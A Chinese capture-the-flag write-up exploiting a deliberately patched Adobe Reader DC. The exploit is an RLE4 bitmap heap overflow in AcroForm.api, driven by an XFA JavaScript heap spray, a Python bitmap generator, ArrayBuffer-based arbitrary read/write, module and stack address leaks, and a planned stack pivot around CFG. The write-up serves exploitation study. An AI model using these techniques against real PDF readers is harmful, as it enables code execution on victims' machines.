0%

强网杯2020决赛RealWord题ADoBe(ADB)

文章首发于安全KER https://www.anquanke.com/post/id/222391

0x00 前言

第一次来强网杯线下,接触了realword题,收获很大,深有感触
题目信息:
**题目名称:**ADoBe
**旗帜名称:**ADB
**题目描述:**附件中给出了一个Adobe Reader DC可执行程序,请挖掘并利用该程序中的漏洞,在靶机中弹出计算器程序。
靶机环境:Win10 虚拟机,默认安装配置,系统补丁安装至最新。系统安装了附件中提供中的Adobe Reader DC程序,并已关闭程序沙箱。
**附件信息:**Adobe Reader DC程序及相关Dll文件,版本均与靶机中的一致。
展示环境拓扑:交换机连接选手攻击机和展示机,展示机使用VMware(最新版)运行靶机,靶机通过NAT方式连接到网络。
展示过程:选手携带自己的攻击机上台展示题解,攻击机需运行HTTP服务,供操作员下载能够利用程序漏洞的PDF文档。操作员打开PDF文档后,在规定的时间内,在靶机中弹出计算器程序判定为题解正确。
注意事项:
(1)在解题时,可通过在注册表项
HKLM\SOFTWARE\Wow6432Node\Policies\Adobe\Acrobat Reader\DC\FeatureLockDown中修改键值项bProtectedMode(DWORD类型),赋值为0来关闭Adobe Reader DC程序的沙箱;
(2)上台展示题解的时候注意关闭exp的调试信息。

0x01 挖掘过程

从题目描述可以看出,这是要让我们对这个patch过的adobe reader软件进行漏洞挖掘,为了找出漏洞点,我们需要下载与当前版本一致的官方版本进行对比。

将官方版本下载安装后,我们写一个脚本来查找到底是哪一个文件被patch过,脚本如下,就是简单的内容比对。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding:utf8
import os

src_dir = u'C:\\Users\\Administrator\\Desktop\\realword\\Adobe附件\\Adobe\\Acrobat Reader DC' # 源文件目录地址

comp_dest = u'C:\\Program Files (x86)\\Adobe\Acrobat Reader DC'

def list_all_files(rootdir):
_files = []

#列出文件夹下所有的目录与文件
list_file = os.listdir(rootdir)

for i in range(0,len(list_file)):

# 构造路径
path = os.path.join(rootdir,list_file[i])

# 判断路径是否是一个文件目录或者文件
# 如果是文件目录,继续递归

if os.path.isdir(path):
_files.extend(list_all_files(path))
if os.path.isfile(path):
_files.append(path)
return _files

files = list_all_files(src_dir)
for path in files:
path2 = comp_dest + '\\' + path[len(src_dir)+1:]
#print path2
f = open(path,'rb')
content1 = f.read()
f.close()
try:
f = open(path2,'rb')
content2 = f.read()
f.close()
except:
continue
if content1 != content2:
print path

经过比对,发现仅一个文件被修改过,那就是Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api文件,接下来,利用Fairdell HexCmp2差异对比工具来对比AcroForm.api与官方文件的差异之处。结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Different between:
First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
------------------------------------------------------------------------

First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
Shift: 0
------------------------------------------------------------------------

000001E0 | 68 F0 E2 30 1E | 000001E0 | 00 00 00 00 00 |
------------------------------------------------------------------------
0054B098 | 87 | 0054B098 | 8F |
------------------------------------------------------------------------
0054B0C0 | EE | 0054B0C0 | FE |
------------------------------------------------------------------------

打开IDA分析,跳转到差异地址处,发现指令由无符号指令patch成了有符号指令

这题patch后的漏洞类型与腾讯安全玄武实验室分析CVE-2019-8014类似,甚至可以说,本题比CVE-2019-8014的利用更加简单方便,首先阅读腾讯实验室的文章,可以发现CVE-2019-8014的堆溢出写数据,不能做到很精准的控制,如果要向前溢出修改ArrayBuffer的byteLength时,那么从byteLength处到溢出堆的起始点都会被覆盖为同一个数据,也就是ArrayBuffer的DataView指针也会被覆盖,进程使用ArrayBuffer对象时会因为其DataView指针指向一个无效地址而崩溃,因此该利用需要事先在对应位置布置好fake DataView堆布局。

ArrayBuffer

ArrayBuffer是JavaScript里的一种类,可以理解为是一个字节数组的包装类,如果要对ArrayBuufer的内存进行读写,就需要建立DataView对象来进行操作。在Adobe中,使用的JS引擎为SpiderMonkey,在早期的Adobe Reader中,其JS的版本不支持ArrayBuffer这个类,好在这是最新版的Adobe Reader,其ArrayBuffer类的大致结构如下

1
2
3
4
5
6
7
8
9
class ArrayBuffer {
public:
uint32_t flags; // flags
uint32_t byteLength; // 数组长度
uint32_t dataview_obj; // dataview 对象指针
uint32_t length; //
// ...
//数据区
};

结合JS达到利用

由于Adobe Reader本身支持JavaScript,我们希望利用堆溢出修改ArrayBuffer的byteLength为0xFFFFFFFF,从而使得该ArrayBuffer具有任意地址读写的能力,然后可以利用JavaScript对内存进行读写,劫持程序流;为了达到这个目的,首先我们得利用堆喷构造好堆布局如下

我们希望在Adobe Reader解析bitmap之前时,ArrayBuffer对象后方能间隔的出现一些已经释放了的堆(“空洞”),这样解析bitmap时,存放bitmap的解压数据的堆(line)正好落到空洞里,然后通过bitmap解析时的堆溢出,向前方溢出,修改ArrayBuffer里的byteLength。

精准控制内存

首先,xpos_是完全可以通过伪造bitmap,使得其值累加到0xFFFFFFFF,由于这里xpos_是有符号数,因此右移1位的操作,其符号位不变,仍然可以保持为负数,正是因为其符号能保持为负数,我们可以精准的向上方溢出。

为了确定溢出的距离,我们使用动态调试,这里,我们选择堆喷的大小为0x140,因此,我们事先new ArrayBuffer(0x130),然后间隔的释放一些ArrayBuffer对象。在Adobe Reader的pdf文档里,我们可以在xdp标签里嵌入

1
2
3
4
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
</script>
</event>

该标签里的脚本会在Adobe Reader打开pdf文件开始时执行,也就是在解析bitmap之前执行,因此,我们可以在这里进行堆喷布局,pdf模板内xdp标签内的关键内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<variables>
<script name="spray" contentType="application/x-javascript">
//全局变量
var size = 200;
var array = new Array(size);
</script>
<?templateDesigner expand 1?>
</variables>
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
// 在漏洞触发之前,我们布局好堆布局
function fillHeap() {
var i;
var j;
spray.array[0] = new ArrayBuffer(0x130);
//var dv = new DataView(spray.array[0]);
// dv.setUint32(0, 0x66666666, true);
//dv = null;
for (i = 0; i &lt; spray.array.length; ++i) {
spray.array[i] = spray.array[0].slice();
//spray.array[i] = new ArrayBuffer(0x130);
//var dv = new DataView(spray.array[i]);
//dv.setUint32(0,i, true);
}
for (j = 0; j &lt; 0x1000; j++) {
for (i = spray.size - 1; i &gt; spray.size / 4; i -= 10) {
spray.array[i] = null;
}
}
}
fillHeap();
app.alert("[!] ready to go");
</script>
</event>

堆布局配置好了,接着我们分析一下程序如何才能到达漏洞点进而溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
unsigned int __thiscall sub_20D4B4AF(_DWORD *this)
{
_DWORD *v1; // edi
int v2; // ecx
bool v3; // zf
int v4; // eax
unsigned int v5; // esi
int v6; // eax
int v7; // ecx
int v8; // ecx
unsigned __int16 v9; // ax
int v10; // edx
unsigned int v11; // esi
int v12; // ecx
int v13; // ecx
int v14; // ecx
int v15; // ecx
int v16; // ecx
_DWORD *v17; // ecx
int v18; // ecx
int v19; // ecx
int v20; // ecx
double v21; // xmm1_8
double v22; // xmm4_8
__int16 v23; // cx
unsigned int height; // ebx
unsigned int result; // eax
unsigned int v26; // esi
int v27; // ecx
int v28; // eax
int v29; // ecx
int v30; // eax
int v31; // ecx
unsigned int v32; // ebx
int v33; // eax
int v34; // ecx
int v35; // eax
int v36; // ecx
int v37; // ecx
unsigned int v38; // esi
int v39; // ecx
unsigned int v40; // edx
char v41; // ah
unsigned int v42; // ecx
int v43; // ebx
int v44; // ecx
int v45; // eax
unsigned int v46; // edx
int v47; // ecx
int v48; // ecx
int v49; // ecx
unsigned int v50; // eax
int v51; // ebx
int v52; // eax
bool v53; // zf
int v54; // ecx
unsigned int xpos; // esi
int v56; // ecx
char v57; // ah
int v58; // edx
unsigned int v59; // ecx
unsigned int v60; // esi
unsigned int v61; // ebx
char v62; // si
int v63; // eax
int v64; // ecx
unsigned int v65; // esi
_DWORD *v66; // ecx
char v67; // bl
int v68; // eax
char v69; // cl
bool v70; // cf
int v71; // ecx
int v72; // ecx
int v73; // ecx
signed int v74; // ebx
int ypos_1; // eax
unsigned int dst_xpos; // ecx
signed int xpos_; // ebx
char index; // cl
signed int byte_slot; // esi
int odd_index; // edx
_DWORD *v81; // ecx
unsigned __int8 _4bits; // bl
int line; // eax
unsigned __int8 _4bits_1; // cl
int v85; // edx
unsigned int v86; // esi
int v87; // ebx
int v88; // eax
int v89; // ecx
int v90; // esi
int v91; // ecx
int v92; // ecx
int v93; // ecx
unsigned int v94; // ebx
unsigned int v95; // ebx
int v96; // eax
int v97; // ecx
int v98; // esi
int v99; // ecx
int v100; // ecx
int v101; // ecx
signed int v102; // [esp-4h] [ebp-7Ch]
signed int v103; // [esp-4h] [ebp-7Ch]
int v104; // [esp-4h] [ebp-7Ch]
char v105; // [esp+10h] [ebp-68h]
void **v106; // [esp+2Ch] [ebp-4Ch]
int v107; // [esp+34h] [ebp-44h]
int v108; // [esp+38h] [ebp-40h]
int v109; // [esp+3Ch] [ebp-3Ch]
char v110; // [esp+44h] [ebp-34h]
int width_1; // [esp+48h] [ebp-30h]
int v112; // [esp+4Ch] [ebp-2Ch]
__int16 v113; // [esp+50h] [ebp-28h]
unsigned __int16 bit_count; // [esp+52h] [ebp-26h]
unsigned int biCompression; // [esp+54h] [ebp-24h]
int v116; // [esp+5Ch] [ebp-1Ch]
int v117; // [esp+60h] [ebp-18h]
unsigned int v118; // [esp+64h] [ebp-14h]
int v119; // [esp+74h] [ebp-4h]
char v120; // [esp+78h] [ebp+0h]
void **v121; // [esp+7Ch] [ebp+4h]
int v122; // [esp+84h] [ebp+Ch]
int v123; // [esp+88h] [ebp+10h]
int v124; // [esp+8Ch] [ebp+14h]
unsigned int v125; // [esp+94h] [ebp+1Ch]
unsigned __int8 xdelta; // [esp+9Bh] [ebp+23h]
int cmd; // [esp+9Ch] [ebp+24h]
char v128; // [esp+A3h] [ebp+2Bh]
int v129; // [esp+A4h] [ebp+2Ch]
__int16 ydelta; // [esp+A8h] [ebp+30h]
unsigned int width; // [esp+ACh] [ebp+34h]
unsigned __int8 v132; // [esp+B3h] [ebp+3Bh]
unsigned int bitmap_ends; // [esp+B4h] [ebp+3Ch]
unsigned int v134; // [esp+B8h] [ebp+40h]
char v135; // [esp+BFh] [ebp+47h]
unsigned int v136; // [esp+C0h] [ebp+48h]
unsigned __int8 low_4bits; // [esp+C6h] [ebp+4Eh]
unsigned __int8 high_4bits; // [esp+C7h] [ebp+4Fh]
unsigned int ypos; // [esp+C8h] [ebp+50h]
char v140; // [esp+CCh] [ebp+54h]

v1 = this;
if ( !this[2] )
_Mtx_lock_2(16479);
fn_read_bytes(&v140, 14);
sub_20D4AFFB(&v110);
v2 = v1[2];
fn_read_bytes(&v110, 40);
if ( v113 != 1 )
goto LABEL_175;
width = 4;
if ( bit_count == 1 )
goto LABEL_9;
if ( bit_count == 4 )
{
if ( !biCompression )
goto LABEL_11;
v3 = biCompression == 2;
goto LABEL_10;
}
if ( bit_count != 8 )
{
if ( bit_count != 24 )
{
LABEL_8:
sub_20E0D4B3(&v120, 17996, 0);
goto LABEL_176;
}
LABEL_9:
v3 = biCompression == 0;
goto LABEL_10;
}
if ( !biCompression )
goto LABEL_11;
v3 = biCompression == 1;
LABEL_10:
if ( !v3 )
goto LABEL_8;
LABEL_11:
v4 = bit_count * width_1;
if ( v4 <= 0 || v4 < width_1 || v4 < bit_count )
{
sub_20E0D4B3(&v120, 16479, 0);
goto LABEL_176;
}
..................................................................
if ( biCompression == 2 )
{
v54 = v1[2];
xpos = 0;
ypos = v112 - 1;
bitmap_ends = 0;
v136 = 0;
result = fn_feof(v54, v10);
if ( !result )
{
while ( 1 )
{
if ( bitmap_ends )
return result;
v56 = v1[2];
fn_read_bytes(&cmd, 2);
v57 = BYTE1(cmd);
if ( (_BYTE)cmd )
break;
v58 = BYTE1(cmd);
if ( BYTE1(cmd) )
{
if ( BYTE1(cmd) == 1 )
{
v74 = 1;
bitmap_ends = 1;
goto LABEL_152;
}
if ( BYTE1(cmd) != 2 )
{
v59 = ypos;
v60 = BYTE1(cmd) + xpos;
if ( ypos >= height )
goto LABEL_175;
v61 = v136;
if ( v60 < v136 || v60 < BYTE1(cmd) || v60 > width )
goto LABEL_175;
v62 = 0;
v134 = 0;
if ( BYTE1(cmd) )
{
do
{
v63 = v62 & 1;
v125 = v62 & 1;
if ( !(v62 & 1) )
{
v64 = v1[2];
fn_read_bytes(&v132, 1);
v128 = v132 & 0xF;
v59 = ypos;
v135 = v132 >> 4;
v63 = v125;
}
v65 = v61 >> 1;
v104 = v59;
v66 = (_DWORD *)v1[3];
if ( v61 & 1 )
{
if ( v63 )
{
v68 = fn_get_scanline(v66, v104);
v69 = v128;
}
else
{
v68 = fn_get_scanline(v66, v104);
v69 = v135;
}
*(_BYTE *)(v65 + v68) |= v69;
}
else
{
v67 = v135;
if ( v63 )
v67 = v128;
*(_BYTE *)(fn_get_scanline(v66, v104) + v65) = 16 * v67;
v61 = v136;
}
++v61;
v57 = BYTE1(cmd);
v62 = v134 + 1;
v70 = v134 + 1 < BYTE1(cmd);
v136 = v61;
v59 = ypos;
++v134;
}
while ( v70 );
}
if ( (v57 & 3u) - 1 <= 1 )
{
v71 = v1[2];
fn_read_bytes(&v132, 1);
}
LABEL_150:
xpos = v136;
goto LABEL_151;
}
v72 = v1[2];
fn_read_bytes(&xdelta, 1);
v73 = v1[2];
fn_read_bytes((char *)&ydelta + 1, 1);
xpos += xdelta;
ypos -= HIBYTE(ydelta);
v136 = xpos;
}
else
{
--ypos;
xpos = 0;
v136 = 0;
}
LABEL_151:
v74 = bitmap_ends;
LABEL_152:
result = fn_feof(v1[2], v58);
if ( result )
{
v53 = v74 == 0;
goto LABEL_106;
}
height = v129;
}
v58 = (unsigned __int8)cmd;
high_4bits = BYTE1(cmd) >> 4;
ypos_1 = ypos;
low_4bits = BYTE1(cmd) & 0xF;
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height )
goto LABEL_175;
if ( (signed int)dst_xpos > (signed int)width )
goto LABEL_175;
xpos_ = v136;
if ( dst_xpos < v136 || dst_xpos < (unsigned __int8)cmd )
goto LABEL_175;
index = 0;
v134 = 0;
if ( (_BYTE)cmd )
{
do
{
byte_slot = xpos_ >> 1;
odd_index = index & 1;
v81 = (_DWORD *)v1[3];
if ( xpos_ & 1 )
{
if ( odd_index )
{
line = fn_get_scanline(v81, ypos_1);
_4bits_1 = low_4bits;
}
else
{
line = fn_get_scanline(v81, ypos_1);
_4bits_1 = high_4bits;
}
*(_BYTE *)(byte_slot + line) |= _4bits_1;
}
else
{
_4bits = high_4bits;
if ( odd_index )
_4bits = low_4bits;
*(_BYTE *)(fn_get_scanline(v81, ypos_1) + byte_slot) = 16 * _4bits;
xpos_ = v136;
}
++xpos_;
index = v134 + 1;
v70 = v134 + 1 < (unsigned __int8)cmd;
v136 = xpos_;
ypos_1 = ypos;
++v134;
}
while ( v70 );
}
goto LABEL_150;
}
}
LABEL_175:
sub_20E0D4B3(&v120, 17993, 0);
LABEL_176:
CxxThrowException(&v120, &_TI2_AVjfExFull__);
}

从中可以分析出COMPRESSION=2,BIT_COUNT = 4,这样即当bitmap使用的是REL4压缩算法时,就可以到达漏洞处,接下来分析该bitmap的width和height应该为多少,才能够使得申请的堆落到ArrayBuffer对象之间的堆空洞里,在此处用windbg下断点进行调试

首先windbg断点,当AcroForm.api模块被加载时会断下

1
sxe ld:AcroForm.api

然后断点

1
bp 0x54bcc8+AcroForm_base

call调用的是fn_get_scanline函数,返回的是一个堆地址

我们查看这个堆的头部以及附近的内容,可以发现其前方0x144处,正是ArrayBuffer的byteLength变量,可见这里,我们堆喷成功,bitmap的解压缩数据堆成功申请到hole里

此时我们bitmap的WIDTH = 0x278,HEIGHT = 1,该bitmap的数据解压区正好申请到hole里。
并且通过调试,我们确定了溢出的距离为-0x144,无符号数也就是0xfffffebc,即bye_slot应该为0xfffffebc

由于这里xpos_ >> 1是一个有符号数的运算,因此xpos_的值应该为0xfffffd78

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <iostream>

using namespace std;

int main() {
int a = 0xfffffebc;
cout << hex << (a << 1) << endl;
}

而xpos是可以控制的

于是,我们可以向-0x144的位置写上4字节0xFF,使得ArrayBuffer的byteLength为0xFFFFFFFF

gen_bitmap.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#-*- coding:utf-8 -*-
import os
import sys
import struct

RLE8 = 1
RLE4 = 2
COMPRESSION = RLE4
BIT_COUNT = 4
CLR_USED = 1 << BIT_COUNT
WIDTH = 0x278
HEIGHT = 1

def get_bitmap_file_header(file_size, bits_offset):
return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)

def get_bitmap_info_header(data_size):
return struct.pack('<IIIHHIIIIII',
0x00000028,
WIDTH,
HEIGHT,
0x0001,
BIT_COUNT,
COMPRESSION,
data_size,
0x00000000,
0x00000000,
CLR_USED,
0x00000000)

def get_bitmap_info_colors():
# B, G, R, Reserved
rgb_quad = '\x00\x00\xFF\x00'
return rgb_quad * CLR_USED

def get_bitmap_data():

# set xpos to 0xFFFFFD02
data = '\x00\x02\xFF\x00' * (0xFFFFFD02 / 0xFF)
# set xpos to 0xFFFFFD78
data += '\x00\x02\x76\x00'

# 0x4 bytes of 0xFF
data += '\x08\xFF'

# mark end of bitmap to skip CxxThrowException
data += '\x00\x01'

return data

def generate_bitmap(filepath):
data = get_bitmap_data()
data_size = len(data)

bmi_header = get_bitmap_info_header(data_size)
bmi_colors = get_bitmap_info_colors()

bmf_header_size = 0x0E
bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
file_size = bits_offset + data_size
bmf_header = get_bitmap_file_header(file_size, bits_offset)
with open(filepath, 'wb') as f:
f.write(bmf_header)
f.write(bmi_header)
f.write(bmi_colors)
f.write(data)

if __name__ == '__main__':
if len(sys.argv) != 2:
print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
sys.exit(1)
generate_bitmap(sys.argv[1])

当完成了这一步的修改以后,我们就已经拥有了一个具有任意地址读写的ArrayBuffer对象了,与前面的堆喷布局同理,在pdf的xdp标签里嵌入

1
2
3
4
<event activity="docReady" ref="$host" name="event__docReady">
<script contentType="application/x-javascript">
</script>
</event>

可以实现图片解析完成以后的后续操作,我们在这里,首先要查找到那个具有任意地址读写的ArrayBuffer对象,由于SpiderMonkey引擎的性质,我们可以在内存里搜索0xf0e0d0c0这个特殊数据,从而能计算出ArrayBuffer对象本身的地址,以便实现后续的读写利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
      // 漏洞触发后,我们找到那个byteLength被修改为-1的那个ArrayBuffer,通过此ArrayBuffer,可以实现任意地址读写。
for (var i = 0; i &lt; spray.array.length; ++i) {
if (spray.array[i] != null &amp;&amp; spray.array[i].byteLength == -1) {
//app.alert("found idx=" + i);
var dv = new DataView(spray.array[i]);
for (var j=-100;;j-=4) { //搜索内存,查找堆地址
var x = dv.getUint32(j,true);
if (x == 0xf0e0d0c0) {
//得到ArrayBuffer自身的地址
var heap_addr = dv.getUint32(j + 0xC,true) - 0x10 - j;
//app.alert("heap_addr=" + heap_addr.toString(16));
//得到dataview的地址
var dataview_obj_addr = dv.getUint32(-8,true);
app.alert("dataview_obj=" + dataview_obj_addr.toString(16));
//得到EScript.api模块的地址
var escript_base = dv.getUint32(dataview_obj_addr + 0xC - heap_addr,true) - 0x275510;
//app.alert("escript_base=" + escript_base.toString(16));
//计算三个重要的函数的iat表
var LoadLibraryA_iat = escript_base + 0x1af0d8;
var GetProcAddress_iat = escript_base + 0x1af114;
var VirtualProtect_iat = escript_base + 0x1af058;
//泄露函数地址
var LoadLibraryA = dv.getUint32(LoadLibraryA_iat - heap_addr,true);
var GetProcAddress = dv.getUint32(GetProcAddress_iat - heap_addr,true);
var VirtualProtect = dv.getUint32(VirtualProtect_iat - heap_addr,true);
}
}
}
}

接下来是劫持程序流,通过尝试发现程序开启了CFG控制流保护机制

因此劫持虚表为gadget不可用,绕过方法有一些,这里我直接选择劫持栈做ROP。那么得泄露栈地址,在windows下泄露栈地址不太容易,得确定teb、peb的地址,而我这里盲摸索出针对当前Adobe Reader的栈地址搜索方法,即通过dataview对象里的一连串指针,偶然发现一个接近栈地址值的指针,其位置如下

1
2
3
4
5
var tmp = dv.getUint32(dataview_obj_addr - heap_addr,true);
tmp = dv.getUint32(tmp - heap_addr,true);
tmp = dv.getUint32(tmp + 0xC - heap_addr,true);
//得到一个栈地址
var s = dv.getUint32(tmp + 0x8 - heap_addr,true);

这里得到的s是一个栈地址,但是其地址与函数ret时的esp之间的偏移是会发生变化的,但是变化范围不大,因此可以以该地址为起点进行搜索,直到搜索到getUint32的返回地址时便可以确定具体的栈地址。

1
2
3
4
5
6
7
8
9
10
  //搜索栈地址,确定一个稳定的栈地址
var stack_addr = 0;
for (var k = s;k &gt; s - 0x1000;k -= 4) {
x = dv.getUint32(k - heap_addr,true);
if (x == escript_base + 0x12e384) {
stack_addr = k;
//app.alert("found stack_addr=" + stack_addr.toString(16));
break;
}
}

接下来就利用任意地址读写,劫持ret时的esp指向的地址处为pop esp ; ret,做栈迁移,可以dv.setFloat64来完成一次性写8字节的目的,这样写完便可以完成栈迁移。

0x02 感想

第一次挖掘真实漏洞,收获挺大

0x03 参考

(深入分析Adobe忽略了6年的PDF漏洞) https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/